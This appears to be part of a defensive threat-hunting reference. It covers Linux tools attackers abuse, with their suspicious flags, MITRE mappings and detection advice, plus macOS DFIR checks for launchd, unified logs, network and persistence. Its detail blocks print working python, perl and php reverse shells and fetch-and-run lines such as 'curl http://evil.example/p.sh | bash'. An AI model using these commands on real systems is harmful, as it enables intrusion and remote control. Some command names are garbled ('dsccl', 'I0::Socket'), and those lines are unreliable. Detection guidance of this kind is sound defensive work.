Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
git	Source control client	<code>-c core.sshCommand=...</code> , <code>-c core.hooksPath=...</code> , <code>clone --recurse-submodules</code> , <code>config credential.helper store</code> , <code>--exec-path=DIR</code>	<code>-c</code> per-command config swaps SSH binary / hooks dir; hooks run on checkout; store helper writes plaintext creds to <code>~/.git-credentials</code>	T1059.004 / T1552.001
gcc	C compiler	<code>-o /tmp/.x</code> , <code>-z execstack</code> , <code>-static</code> , <code>-s</code> , <code>-shared</code>	Compiles attacker C on-host (nothing malicious in transit); <code>-z execstack</code> disables NX; <code>-static -s</code> portable stripped ELF	T1027.004
ld	Linker	<code>-o out</code> , <code>-T script</code> , <code>-shared</code> , <code>--dynamic-linker</code>	Links staged <code>.o</code> files into an executable; attacker <code>-T</code> linker script controls layout/segments	T1027.004

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
make	Build automation	<code>-f /tmp/evil.mk, -C /tmp, -s</code>	Runs Makefile recipes via <code>/bin/sh</code> from an attacker tree; <code>-f</code> non-project file	T1059.004

Package managers, Debian family

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
dpkg	Low-level Debian installer	<code>-i evil.deb, --unpack --force-all, --root, -x</code> (extract only)	<code>-i</code> runs <code>preinst/postinst/postrm</code> scripts as root, no signature check by default, malicious <code>.deb</code> = instant root exec	T1072 / T1204.002
apt	High-level Debian frontend	<code>apt install -y pkg, apt download pkg, apt source pkg</code>	Installs changed/malicious packages; source fetches upstream code to build trojan locally	T1072
apt-get	Scriptable Debian frontend	<code>apt-get install -y pkg, --force-yes</code> (legacy), <code>update, download</code>	Same as apt; <code>--force-yes</code> auto-approved (removed in apt >= 2.2, so its use implies an old box or crafted cmdline); mirror poisoning via <code>sources.list.d/</code>	T1072
apt-cache	Query package index	<code>search, show, policy, madison</code>	Recon: enumerates installed/installable software (tool discovery before an attack)	T1518

Package managers, RPM family

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
rpm	Low-level RPM installer	<code>-i, -Uvh --force --nodeps, --noscripts, --prefix</code>	<code>-Uvh</code> runs <code>%pre/%post</code> scriptlets as root; <code>--force --nodeps</code> defeat checks; <code>--noscripts</code> skips scriptlets (defender forensics flag)	T1072
yum	RHEL/CentOS frontend	<code>yum localinstall evil.rpm</code> (legacy alias), <code>install --nogpgcheck, --enablerepo=evil</code>	Local/mirror installs without GPG verification; repo poisoning via <code>/etc/yum.repos.d/</code>	T1072
dnf	Modern RHEL frontend (yum4)	<code>dnf install ./evil.rpm, install --nogpgcheck, config-manager --add-repo URL</code>	Same as yum; <code>--add-repo</code> silently drops an attacker repo config	T1072

Package managers, application/interpreted

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
snap	Canonical app packaging (snapd)	<code>snap install --dangerous --devmode --classic evil.snap</code>	<code>--dangerous</code> installs an unasserted/unsigned snap; <code>--devmode/--classic</code> disable confinement (root-level escape)	T1072 / T1204.002
flatpak	Sandboxed desktop app packaging	<code>flatpak install --user --from evil.flatpakref, override --filesystem=host</code>	<code>--from</code> installs from attacker ref; <code>override</code> widens sandbox to full filesystem/host access	T1072 / T1204.002
pip3	Python package installer	<code>install --index-url URL, --extra-index-url URL, --user, -r req.txt, --target DIR</code>	Redirect to attacker index (supply chain); wheels/sdists execute <code>setup.py</code> at install time; typosquats (requests vs reqests)	T1195.002
gem	Ruby package installer	<code>gem install evil.gem, --user-install, sources --add URL</code>	Malicious gems with post-install hooks; attacker gem server; typosquatting	T1195.002

Terminal multiplexers

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
screen	Detached terminal multiplexer	<code>screen -dmS name cmd, -x (attach), -D -R, -S</code>	Detached persistent shell survives logout; <code>-x</code> joins a shared/attacker session; hides long-running reverse shell under a service-like name	T1059.004
tmux	Detached terminal multiplexer	<code>tmux new-session -d -s c2 'cmd', attach -t, send-keys, new-window</code>	Same as screen, persistent hidden shells; sockets under <code>/tmp/tmux-<UID>/</code> ; <code>send-keys</code> remote-controls a session	T1059.004

D-Bus & daemon control

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
dbus-send	Send D-Bus method calls	<code>--system, --dest=..., --print-reply, method_call args</code>	Invokes systemd/daemon methods (<code>StartUnit</code> , transient units) for persistence; enumerates bus names (recon)	T1059 / T1007
gdbus	GVariant D-Bus client	<code>gdbus call --system --dest ... --method ... , introspect</code>	Same as dbus-send with easier syntax, start services, introspect daemons, trigger polkit/auth methods	T1059 / T1007
busctl	systemd D-Bus client	<code>busctl call, list, introspect, monitor, --user</code>	systemd-bus method calls; <code>monitor</code> sniffs bus traffic (credential-adjacent); introspection for recon	T1059 / T1007
start-stop-daemon	Start/stop init daemons	<code>--start --exec /path --background --make-pidfile --chuid --chdir</code>	Launches attacker binary as a persistent background daemon under another user/cwd, daemon persistence	T1059.004 / T1543

DETAIL BLOCKS, most-abused tools

python3 (reverse shells, file staging, anti-forensics)

```
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.5",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
python3 -m http.server 8888 --directory /tmp
```

- `-c`: code comes from argv, no source file; a huge `-c` string containing `socket/connect/dup2` is the canonical reverse-shell signature.
- `-m http.server`: serves any `--directory` over HTTP, payload staging or exfiltration.
- `-B` (no `.pyc` writes) and `-I` (isolated) are anti-forensics / clean-execution flags.
- Detect: `auditd type=EXECVE exe="/usr/bin/python3"` with long argc; EDR cmdline `python3 -c + socket|dup2|connect`; parent chain `bash -c / curl|wget`; `python3` with `-c` and no file argument is rarely legitimate on a prod box.

perl

```
perl -e 'use Socket;$i="10.0.0.5"; $p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i))) {open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
```

- `-e`: inline program, no script file. `-M/-m` preload a module (e.g. `I0::Socket::INET`); `-ne/-pe` loop + print for data processing.
- Perl ships the socket modules, the full reverse shell is a single argv line, nothing to download.
- Detect: `auditd EXECVE exe="/usr/bin/perl`; cmdline contains `Socket|I0::|sockaddr|connect|exec "/bin/sh"`; `perl -e` with no file argument.

php

```
php -r '$sock=fsockopen("10.0.0.5",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
php -S 0.0.0.0:8080 -t /tmp
php -d allow_url_include=1 -r 'include "http://evil.example/x.txt";'
```

- `-r`: run a code string, one-line web shell or reverse shell.
- `-S`: built-in dev web server, serves any directory, attacker hosts payloads/web shells from it.
- `-d`: runtime php.ini override (`allow_url_include=1`, clearing `disable_functions`); `-n` skips the ini entirely.
- Detect: auditd EXECVE php with `-r/-S`; web access logs for `php -S` hits; php invoked without a script path; parent php-fpm/apache spawning `-r` code.

git

```
git -c core.sshCommand="/tmp/x" clone git@corp.internal:repo.git
git clone --recurse-submodules https://evil.example/repo /tmp/r
git config --global core.hooksPath /tmp/h && git clone https://evil.example/r2
git config credential.helper store && git push
```

- `-c KEY=VAL`: per-command config, `core.sshCommand` replaces the SSH transport binary with attacker code; `core.hooksPath` redirects hooks to an attacker-controlled directory.
- `--recurse-submodules`: auto-pulls nested attacker repositories.
- `credential.helper store`: plaintext credentials cached to `~/.git-credentials` (credential theft); hooks like `post-checkout/post-merge` fire on clone/merge.
- Detect: auditd EXECVE git with `-c`; EDR network to non-corp git hosts (`git://`, 9418, or 443); `git config --list --show-origin` for `credential.helper=store`; unexpected files in `.git/hooks/`.

pip3 (supply chain)

```
pip3 install --index-url http://evil-py.example/simple requests
pip3 install --extra-index-url https://evil.example/requests
pip3 install --user /tmp/evil.whl
```

- `--index-url/--extra-index-url`: redirect package resolution to an attacker index, typosquat or backdoored wheels.
- `--user`: installs to `~/.local` without root; can be silently executed later; `wheel/sdist setup.py` code runs during the build step of every install.
- `-r req.txt / --target DIR`: batch install from attacker-controlled requirements, or stage payloads into a target dir.
- Detect: auditd EXECVE pip3; network to non-PyPI hosts; `pip3 config list` for a poisoned `index-url`; diff `site-packages` after install; `~/.cache/pip` artifact timestamps.

apt-get / dpkg (malicious package install)

```
apt-get update && apt-get install -y linux-kernel-updater
dpkg -i /tmp/evil.deb
dpkg --unpack --force-all /tmp/evil.deb && dpkg --configure evil
```

- `apt-get install` from a poisoned `/etc/apt/sources.list.d/` entry installs backdoored packages; `--force-yes` (legacy, removed in apt >= 2.2) auto-approved without prompting.
- `dpkg -i`: runs `preinst/postinst/postrm` maintainer scripts as root, no signature verification by default; `--unpack --force-all` skips dependency checks before configuring.
- Detect: `/var/log/apt/history.log` (Commandline field), `/var/log/dpkg.log`; auditd EXECVE `dpkg/apt-get`; file-integrity watch on `/etc/apt/sources.list.d/` for new `.list/.sources` files.

rpm / yum / dnf

```
rpm -Uvh --force --nodeps /tmp/evil.rpm
yum localinstall --nogpgcheck /tmp/evil.rpm
dnf install --nogpgcheck ./evil.rpm
```

- `rpm -Uvh`: executes `%pre/%post` scriptlets as root; `--force --nodeps` defeat version/dependency checks. `--noscripts` is the defender-side flag (install without executing scripts).
- `--nogpgcheck`: disables signature verification (unsigned RPMs).
- `yum localinstall` (legacy alias) / `dnf install ./pkg.rpm`: install a local RPM outside any repo, no provenance.

- Detect: `/var/log/yum.log`, `dnf history`, RPM DB (`/var/lib/rpm`); auditd EXECVE rpm with `-Uvh` and a `/tmp` file argument; EDR file-create `.rpm` in `/tmp` followed by install.

gcc / ld (on-host compilation)

```
gcc -o /tmp/.cache/x /tmp/.cache/x.c -z execstack -static -s
ld -o /tmp/x -T /tmp/.lds /tmp/.x.o
```

- `-o`: output to hidden dotdirs in `/tmp`; `-z execstack` disables NX; `-static` yields a self-contained ELF; `-s` strips symbols (harder triage).
- Compiling on-host (T1027.004) means no malicious binary ever crossed the boundary, file AV never sees the final payload.
- `ld -T`: attacker linker script controls the output layout/segments.
- Detect: auditd EXECVE gcc/ld, compilers rarely run on prod servers, baseline and alert; correlation: source dropped via curl/wget then compiled minutes later (parent chain).

screen

```
screen -dmS updater /tmp/payload
screen -x
```

- `-d -m`: start detached, the shell survives logout; `-S updater` names the session after a legit-looking service.
- `-x`: attach to an existing (shared) session, live control of a running attacker shell; `-D -R` force reattach.
- Detect: `screen -ls`; sockets in `/run/screen/S-*`; auditd EXECVE screen with `-dmS`; netstat showing an outbound connection whose process tree roots at `screen`.

tmux

```
tmux new-session -d -s c2 '/bin/bash -i'
tmux send-keys -t c2 'curl http://evil.example/p.sh | bash' Enter
tmux attach -t c2
```

- `new-session -d -s NAME`: detached persistent shell under an innocuous name.
- `send-keys`: types commands into an existing session, remote control without a direct PTY.
- `attach -t`: rejoin the session; sockets live in `/tmp/tmux-<UID>/.`
- Detect: `tmux ls`; unexpected `/tmp/tmux-<UID>/` sockets; auditd EXECVE `tmux new-session/attach`; EDR parent chain `sshd -> tmux` with an outbound connection.

Section 3: macOS

Scope: macOS 11+ / Apple Silicon. Most commands need `sudo`; unified-log depth and TCC queries need Full Disk Access (FDA).

3.1 Launchd Persistence (T1543.004, T1547.011)

Path	Role	Baseline note
/Library/LaunchDaemons	System-wide daemons, root, boot-time (RunAtLoad)	Third-party location, nothing here is Apple
/Library/LaunchAgents	System-wide agents, any user session	Third-party location, review everything
~/Library/LaunchAgents	Per-user agents	Most common malware persistence spot
/System/Library/LaunchDaemons	Apple daemons	Baseline only; any modification or unexpected addition is critical
/System/Library/LaunchAgents	Apple agents	Baseline only
/private/var/db/com.apple.xpc.launchd/	launchd state (disabled plists, per-service state)	Check for <code>disabled.*.plist</code> state files (verify filenames per version)

```
launchctl list
```

Why it matters: Enumerates jobs in your launchd domain with PID, Status (last exit code), and Label. **Red flags:** Unknown labels (random strings, misspelled Apple names); Status codes repeatedly non-zero (crash-looping persistence); jobs whose binary path is in `/tmp`, `/var/tmp`, or odd `~/Library/...` locations.

```
launchctl print system
```

Why it matters: Full authoritative dump of the system domain: every service, its state, and path. **Red flags:** Services loaded from `/Library/LaunchDaemons` you don't recognize; path values pointing into user-writable dirs; `run at load` enabled for unknown binaries; `mach` services registered by unknown labels.

```
launchctl print gui/$(id -u)
```

Why it matters: Full dump of the per-user GUI domain (the one most LaunchAgents and login items land in). **Red flags:** Unexpected agents; standard out path / standard error path writing to `/tmp`; agents whose `program` is a script or a renamed binary.

```
launchctl print user/$(id -u)
```

Why it matters: The background "user" domain (macOS 10.15+), separate from GUI, a place agents can hide. **Red flags:** Anything unexpected here; agents running with no GUI session (indicates user-domain trickery).

```
launchctl print-disabled system
launchctl print-disabled gui/$(id -u)
launchctl print-disabled user/$(id -u)
```

Why it matters: Lists services explicitly disabled, attackers disable security/AV daemons this way. **Red flags:** Your EDR/AV/XProtect-related labels in the disabled list; a disabled system daemon you didn't disable.

```
sudo launchctl dumpstate > /tmp/launchd_dump.txt
```

Why it matters: One-shot full snapshot of all domains (large); the DFIR triage standard for launchd. **Red flags:** Labels/paths for anything not Apple- or vendor-signed; diff two dumps (before/after) to catch new jobs.

```
launchctl print system/com.apple.syslogd # single-service deep dive, use label of interest
```

Why it matters: Per-service detail: program arguments, environment, working dir, sockets, KeepAlive state. **Red flags:** Environment variables embedding URLs/keys; sockets with Listeners on odd ports.

```
sudo ls -laR /Library/LaunchDaemons /Library/LaunchAgents ~/Library/LaunchAgents
```

Why it matters: Every plist in third-party launch locations, with permissions and mtimes. **Red flags:** World-writable plists (defaced/persistently-editable); root-owned files in `~/Library/LaunchAgents`; mtimes clustering around a compromise date.

```
sudo find /Library/LaunchDaemons /Library/LaunchAgents ~/Library/LaunchAgents -name '*.plist' -mtime -90 -print
```

Why it matters: Narrows to recently created/modified jobs, matches infection window. **Red flags:** Any hit older than your change-control records say it should be.

```
plutil -p /Library/LaunchDaemons/com.example.evil.plist
```

Why it matters: Pretty-prints any plist (binary or XML) for fast human review. **Red flags:** Keys below (RunAtLoad, KeepAlive, etc.) pointing at scripts or unusual binaries.

```
plutil -convert xml1 -o - /Library/LaunchDaemons/com.example.evil.plist
```

Why it matters: Normalizes a binary plist to XML for grep/parsing or evidence packaging. **Red flags:** Same as above, plus compare hash of binary vs converted for tamper analysis.

```
plutil -lint /path/to/plist
```

Why it matters: Quick syntax/validity check, malformed plists may indicate manual (attacker) authoring. **Red flags:** Parser errors on plists that run successfully = suspicious editing.

```
defaults read /Library/LaunchDaemons/com.example.plist
```

Why it matters: Reads any plist as a defaults domain (handy for quick key lookups). **Red flags:** Same key checks as plutil; also usable on TCC-adjacent and SystemConfiguration plists.

Plist keys to focus on (attackers set these to auto-run and persist)

Key	Meaning	Why suspicious
RunAtLoad = true	Starts at load/boot/login	Standard persistence switch
KeepAlive = true / dict	Restarts on exit or per SuccessfulExit / FailedExit / PathState / NetworkState	Crash-loop resilience; NetworkState = phone-home relaunch
ProgramArguments	argv array of the program	Check index 0 path carefully; spaces/odd naming (T1036)
Program	Single program path (older key)	Same check
WatchPaths / QueueDirectories	Triggers on file/folder change	Dropper-style trigger persistence
StartInterval / StartCalendarInterval	Runs on a timer	Alternative to cron; e.g. every 60s
MachServices	Registers a Mach port name	Hidden IPC; hides process relationships, used for bootstrapping payloads
LimitLoadToSessionType	Aqua / Background / LoginWindow / SystemGlobal	Limits when agent runs, check for LoginWindow (runs pre-login)
EnvironmentVariables	Env for the job	Can embed C2 URLs, keys
StandardOutPath / StandardErrorPath	Log redirection	Attackers log payload output to /tmp/...
UserName / GroupName	Run-as identity	root for a third-party job = privilege persistence

```
sudo ls -la /private/var/db/com.apple.xpc.launchd/
```

Why it matters: launchd's own state: disabled-service plists and per-service bookkeeping. **Red flags:** disabled.*.plist entries for security tools; unexpected state files (verify filenames on target version).

```
sudo ls -la /etc/emond.d/rules/ && sudo plutil -p /etc/emond.d/rules/*.plist
```

Why it matters: Emond (Event Monitor Daemon, `/usr/sbin/emond`) executes rule-based actions, a documented macOS persistence vector (T1546.014). **Red flags:** Any rule plist (they don't exist by default); `type = "attack"`, triggers `startup/auth`, actions with `command/arguments` running as root; check `/var/log/emond.log` for executions.

```
crontab -l; sudo ls -la /usr/lib/cron/tabs/; sudo cat /usr/lib/cron/tabs/root
```

Why it matters: User crontabs plus the spool dir, scheduled task persistence (T1053.003). **Red flags:** Any crontab content for accounts that never had one; entries running scripts from `/tmp` or with `curl|sh` patterns; unknown files in `/usr/lib/cron/tabs`.

```
sudo ls -la /etc/periodic/daily /etc/periodic/weekly /etc/periodic/monthly
```

Why it matters: Periodic scripts run as root via `com.apple.periodic-*` launchd jobs, a persistence slot. **Red flags:** Any script in these dirs beyond Apple's defaults; non-executable-looking binaries with 755 perms; scripts that `curl/wget` or write outside their dir.

3.2 Processes & Kernel (T1057, T1036)

```
ps -eo pid,ppid,user,lstart,command
```

Why it matters: Portable process listing with parent PID and process start time, the DFIR favorite. **Red flags:** PID 1 as a parent of odd children; start times clustered at compromise; command paths in `/tmp`, `/var/tmp`, `.-relative`, or renamed binaries (`/usr/bin/ls` that is not Apple-signed, verify with codesign).

```
ps aux | sort -nrk 3 | head -20
```

Why it matters: Top CPU consumers, crypto miners and busy C2 beacons show up immediately. **Red flags:** Unknown processes pinned at high CPU; processes with names matching legit tools but odd args.

```
pgrep -fl 'curl|bash|python|osascript|socat|nc|ncat'
```

Why it matters: Quick sweep for live interpreter/network processes. **Red flags:** Any interpreter process not tied to expected user activity; `nc/socat` listeners.

```
top -o cpu -l 2 -n 15 -stats pid,command,cpu,mem
```

Why it matters: Interactive process view; `-l 2` gives a fresh sample (first is since-boot aggregate). **Red flags:** Same as `ps`; also watch for processes vanishing between samples (anti-forensics).

```
sample <pid> 5 -file /tmp/sample.txt
```

Why it matters: Samples a process's call stacks, shows what code it is executing right now. **Red flags:** Stack frames in unexpected dylibs (`/tmp/lib.dylib`), dlopen of odd paths, network/exec syscall chains.

```
sudo spindump <pid> 5 -file /tmp/spindump.txt
```

Why it matters: System-wide hang/CPU profile including kernel stacks for the PID. **Red flags:** Same as sample; kernel frames doing network I/O for a non-network process.

```
sudo lsof -p <pid>
```

Why it matters: Every open file, socket, and working directory of one process. **Red flags:** Open sockets to non-standard ports; files in `/tmp`, `/var/tmp`, `~/Library`; deleted-but-open files (see +L1 below).

Kexts (legacy but still hunted)

```
kmutil showloaded  
kmutil showloaded --list-only
```

Why it matters: Lists loaded kernel extensions (macOS 11+; kexts rare on Apple Silicon, must be SIP-off + reduced security). **Red flags:** Any third-party bundle ID in the list; `kmutil showloaded --list-only` entries you can't map to installed software.

```
sudo ls -la /Library/Extensions /System/Library/Extensions
```

Why it matters: Third-party kext location vs Apple baseline. **Red flags:** Anything in `/Library/Extensions`; unexpected bundles in `/System/Library/Extensions` (baseline-compare).

```
kextstat | grep -v com.apple # deprecated, verify availability on target version
```

Why it matters: Legacy kext listing (pre-11); `kextfind`/`kextload`/`kextunload` similarly deprecated. **Red flags:** Non-Apple kexts loaded; missing `kextstat` binary = fully modern system (fine).

Gatekeeper, SIP, code signing (T1553.001, T1553.002, T1562.001)

```
spctl --status
```

Why it matters: Shows whether Gatekeeper assessments are enabled ("assessments enabled") or disabled. **Red flags:** "assessments disabled", Gatekeeper off is itself a finding; attacker ran `spctl --master-disable` or the equivalent.

```
spctl --assess -vv -t install /path/to/package.pkg  
spctl --assess -vv --type execute /Applications/SomeApp.app
```

Why it matters: Individually assesses a package/app against Gatekeeper (signed, notarized, quarantined). **Red flags:** rejected for software you're investigating; accepted (source=Unnotarized Developer ID) type results on fresh-looking tools.

```
spctl --master-disable # only works with SIP disabled; legacy
```

Why it matters: Known mechanism to globally disable Gatekeeper, presence of the side effects is what you hunt. **Red flags:** Assessments disabled system-wide; correlate with `spctl --status`.

```
spctl --add --label "AllowThis" /path/to/app; spctl --list
```

Why it matters: Users/admins can whitelist apps with custom rules; listing shows all rules. **Red flags:** Rules added for unsigned/unnotarized apps; labels that match malware names.

```
csrutil status; csrutil status --verbose # --verbose verify on target version
```

Why it matters: SIP status, integrity protection level of the OS. **Red flags:** "disabled", the single biggest indicator a Mac was compromised (or prepped); correlate with kexts and Gatekeeper state.

```
codesign -dv --verbose=4 /path/to/binary
```

Why it matters: Shows signature authority (Apple, Developer ID, ad-hoc) and TeamIdentifier. **Red flags:** "Signature=adhoc" for anything not Apple-blessed; missing TeamIdentifier; authority chain ending in "unknown" or self-signed; identifier mismatched to name.

```
codesign --verify --deep --strict /path/to/binary
```

Why it matters: Validates the whole bundle signature. (`--deep` deprecated in newer SDKs, keep `--strict`.) **Red flags:** "code object is not signed at all" for apps that should be; "invalid signature" on a renamed binary.

```
codesign -d --entitlements - /path/to/binary
```

Why it matters: Dumps entitlements, shows what the binary is allowed to do. **Red flags:** `com.apple.security.cs.allow-dyld-environment-variables`, `get-task-allow` (debugger), `com.apple.security.exception.*` on third-party tools.

```
xattr -lr /path/to/downloaded/file
```

Why it matters: Lists extended attributes including `com.apple.quarantine` (the "downloaded from internet" flag). **Red flags:** Quarantine flag present on malware samples; conversely, *missing* quarantine on files that must have had it (see next).

```
xattr -dr com.apple.quarantine /path/to/app # attacker technique; run only on copies
```

Why it matters: This is exactly how attackers strip quarantine so Gatekeeper won't block execution. **Red flags:** Finding quarantine stripped on a freshly downloaded file = deliberate evasion (T1553.001); quarantine value format is 0081;<hex timestamp>;<hex source app>;<UUID>.

3.3 Unified Logging (critical, primary macOS event source)

```
log show --last 1h
```

Why it matters: Baseline dump of the last hour of system log. **Red flags:** Error/fault clusters; unusual process launches (see predicates below).

```
log show --predicate 'process == "bash"' --last 24h
```

Why it matters: Every shell invocation on the system. **Red flags:** bash spawning from non-shell parents (web, python, osascript); bash -c strings containing curl, nc, base64 blobs.

```
log show --predicate 'eventMessage CONTAINS[c] "download"' --last 7d
```

Why it matters: Case-insensitive text hunt across all log messages. **Red flags:** Download events for executables/scripts; curl/wget fetches of odd URLs.

```
log show --predicate 'processImagePath CONTAINS "curl"' --last 7d
```

Why it matters: Matches on the full binary path, catches curl use regardless of process rename. **Red flags:** Any curl hitting non-standard URLs; curl | sh-style command lines.

```
sudo log show --last 1h --style syslog --info --debug
```

Why it matters: Verbose, syslog-style rendering, the human-readable forensic view. (--info/--debug need root.) **Red flags:** Volume of info/debug noise around a specific process; crashes at compromise time.

```
log stream --predicate 'process == "osascript" OR processImagePath CONTAINS "python"'
```

Why it matters: Live tail for real-time hunt during an active incident. **Red flags:** Live interpreter launches you didn't initiate.

```
sudo log collect --last 24h --output /tmp/evidence.logarchive  
log show --archive /tmp/evidence.logarchive --predicate '...'
```

Why it matters: Collects a self-contained archive for evidence preservation and offline analysis. **Red flags:** Archive collection failures (tampered log store); mountpoint timestamps after collection (chain of custody).

```
sudo log show --predicate 'subsystem == "com.apple.TCC"' --info --last 7d
```

Why it matters: TCC (privacy permission) allow/deny events, who got access to what (T1548). **Red flags:** AUTH_ALLOW entries for apps you don't know (camera, mic, screen recording, full disk access); rapid deny→allow retry patterns.

```
sudo log show --predicate 'process == "sudo"' --last 30d
```

Why it matters: sudo invocations (mirrored from syslog; fallback /var/log/system.log). **Red flags:** Repeated sudo for odd commands; sudo from non-interactive parents (scripted privilege escalation).

Legacy logs (still relevant)

```
grep -iE 'sudo|ssh|su ' /var/log/system.log; tail -100 /var/log/install.log; last -30
```

Why it matters: system.log (auth/sudo/ssh), install.log (package installs), and wtmp via last for logins. **Red flags:** SSH/su success outside normal hours; package installs at odd times; last showing reboots or user sessions you can't explain.

Predicate cheat-sheet (all log show/log stream)

Field	Example	Use
process	'process == "bash"'	Process name
processImagePath	'processImagePath CONTAINS "curl"'	Full binary path (robust)
eventMessage	'eventMessage CONTAINS[c] "open -a"'	Free text, [c] = case-insensitive
senderImagePath	'senderImagePath ENDSWITH "/TCC"'	Library that emitted the event
subsystem	'subsystem == "com.apple.TCC"'	Apple subsystem (TCC, networkextension, ...)
category	'category == "dataAccess"'	Sub-subsystem category
messageType	'messageType == error OR messageType == fault'	Severity filter

Operators: ==, !=, CONTAINS[c], BEGINSWITH[c], ENDSWITH[c], LIKE, MATCHES, AND/∩, OR/∪, NOT, parentheses. Time bounds: --last 1h|30m|7d, --start "2026-08-13 09:00:00" --end "...".

3.4 Network (T1071, T1048, T1046)

```
sudo lsof -i -P -n
```

Why it matters: Every open TCP/UDP socket with numeric ports, the definitive connection list on macOS. **Red flags:** Connections to known-bad IPs/ports; unrecognized processes holding sockets; high connection counts to one remote host (beaconing).

```
lsof -iTCP -sTCP:LISTEN -P -n
```

Why it matters: Listening sockets only, services exposed to the network. **Red flags:** Unknown listeners on high or ephemeral-looking ports; listeners from processes in /tmp; SSH on non-22 ports.

```
nettop -P -L 1
```

Why it matters: Live per-process bandwidth monitor; -J gives JSON for parsing. **Red flags:** A process silently pushing steady outbound traffic (exfil); traffic when the box should be idle.

```
netstat -an
```

Why it matters: Static connection table, but no per-process info on macOS (no -p); use lsof for attribution. **Red flags:** ESTABLISHED/SYN_SENT flood to one host; listening on odd ports.

```
arp -a
```

Why it matters: Layer-2 neighbor table, hosts the Mac has talked to recently. **Red flags:** Unexpected devices on the segment during an incident.

```
scutil --dns
```

Why it matters: Active DNS resolver config (servers, search domains) (T1016). **Red flags:** Unknown nameservers; search domains that resolve to attacker domains.

```
scutil --proxy
```

Why it matters: HTTP/HTTPS/SOCKS proxy settings, a classic MITM/exfil channel. **Red flags:** Any proxy set that you didn't configure; PAC URL pointing to a remote host.

```
sudo dscacheutil -flushcache; sudo killall -HUP mDNSResponder
```

Why it matters: Flushes DNS cache, do this *after* collecting, since the cache is forensically useful. **Red flags:** (Operational note only), don't flush before capturing evidence.

```
cat /etc/hosts; ls -la /etc/resolver/
```

Why it matters: Static host overrides and per-domain resolver files. **Red flags:** Entries for Apple/known domains mapped to random IPs; resolver files for domains you don't operate.

```
pfctl -s info; sudo pfctl -s rules; sudo pfctl -s nat
```

Why it matters: Packet Filter state, normally "Status: Disabled" unless configured. **Red flags:** PF enabled with rules you didn't write; NAT rules redirecting traffic (traffic interception). Separate: `sudo /usr/libexec/ApplicationFirewall/socketfilterfw --getglobalstate` for the App Firewall.

```
sudo tcpdump -i en0 -n -s 0 -w /tmp/capture.pcap 'tcp port 443 or udp port 53'
```

Why it matters: Packet capture for analysis. Note: macOS tcpdump has **no any interface**: pick real interfaces (`en0`, `en1`, `utun*`). **Red flags:** Long-lived TLS connections to unusual hosts (most C2 is TLS/QUIC-encrypted, correlate with Isof and unified log).

```
sudo plutil -p /Library/Preferences/SystemConfiguration/com.apple.wifi.known-networks.plist
```

Why it matters: Known Wi-Fi networks this Mac has joined (location/network recon artifact). **Red flags:** Enterprise-looking SSIDs the user can't explain; check `/etc/8021x/` for attacker-installed enterprise profiles (verify key names per version).

3.5 Persistence Misc (T1547.015, T1547.004, T1098.004, T1548, T1136.001)

```
osascript -e 'tell application "System Events" to get the name of every login item'
```

Why it matters: Classic Login Items list (T1547.015). **Red flags:** Login items you don't recognize; items pointing into `~/Library` or `/tmp`.

```
plutil -p ~/Library/Application\ Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm
```

Why it matters: Modern (Monterey+) Login Items storage, binary plist of background items (also check the system-level variant under `/Library/Application Support/`). **Red flags:** Unknown bundle IDs; items with data blobs that don't resolve to installed apps.

```
for f in ~/.zshrc ~/.zprofile ~/.zshenv ~/.zlogin /etc/zprofile /etc/zshrc /etc/zshenv /etc/profile  
~/.bash_profile ~/.bashrc ~/.profile; do echo "== $f"; cat "$f" 2>/dev/null; done
```

Why it matters: All common shell init files, persistent shell injection (T1547.004). **Red flags:** alias to odd paths, `eval "$(curl ...)"`, `source /tmp/...`, `exec` redirection, `base64` payloads, `trap` on EXIT.

```
grep -rnE 'curl|wget|eval|exec|base64|/tmp/' ~/.zshrc ~/.zprofile /etc/zprofile /etc/zshrc 2>/dev/null
```

Why it matters: Quick text sweep for malicious init patterns. **Red flags:** Any hit, legit init files rarely download things.

```
ls -la ~/.ssh/; cat ~/.ssh/authorized_keys; cat ~/.ssh/config
```

Why it matters: SSH persistence and config tampering (T1098.004). **Red flags:** New `authorized_keys` entries (comment field shows key origin); `config` with `ProxyCommand` or `HostName` rewrites; `known_hosts` entries for attacker infrastructure.

```
sudo grep -iE 'PermitRootLogin|AuthorizedKeysFile|AuthorizedKeysCommand|PasswordAuthentication' /etc/ssh/  
sshd_config
```

Why it matters: Server-side SSH settings (T1098.004/T1548). **Red flags:** `PermitRootLogin yes`; `AuthorizedKeysCommand/AuthorizedKeysFile` pointing at scripts (root key injection); `PasswordAuthentication yes` when it was off.

```
sudo -l
```

Why it matters: Shows the user's sudo privileges as configured (T1548.003). **Red flags:** (ALL) NOPASSWD: ALL for non-admin users; custom commands with NOPASSWD.

```
sudo cat /etc/sudoers; sudo ls -la /etc/sudoers.d/; sudo cat /etc/sudoers.d/*
```

Why it matters: Root rule sets, attacker-dropped sudoers files are a fast privilege-persistence route. **Red flags:** Any file in `/etc/sudoers.d` you didn't create; NOPASSWD entries; weird `Cmd_Alias` definitions.

```
dsccl . -read /Groups/admin GroupMembership
```

Why it matters: Admin group members (T1136.001), who can escalate. **Red flags:** Unknown usernames; accounts that look typo'd or duplicate.

```
dscacheutil -q user -a uid 0
dsccl . -list /Users UniqueID
```

Why it matters: Enumerates UID 0 accounts and all account UIDs, catches root-clone backdoors. **Red flags:** More than one UID-0 account; `root` with an unusual home dir or shell.

```
at -l; sudo ls -la /var/at/jobs /var/at/tabs # verify path on target version
```

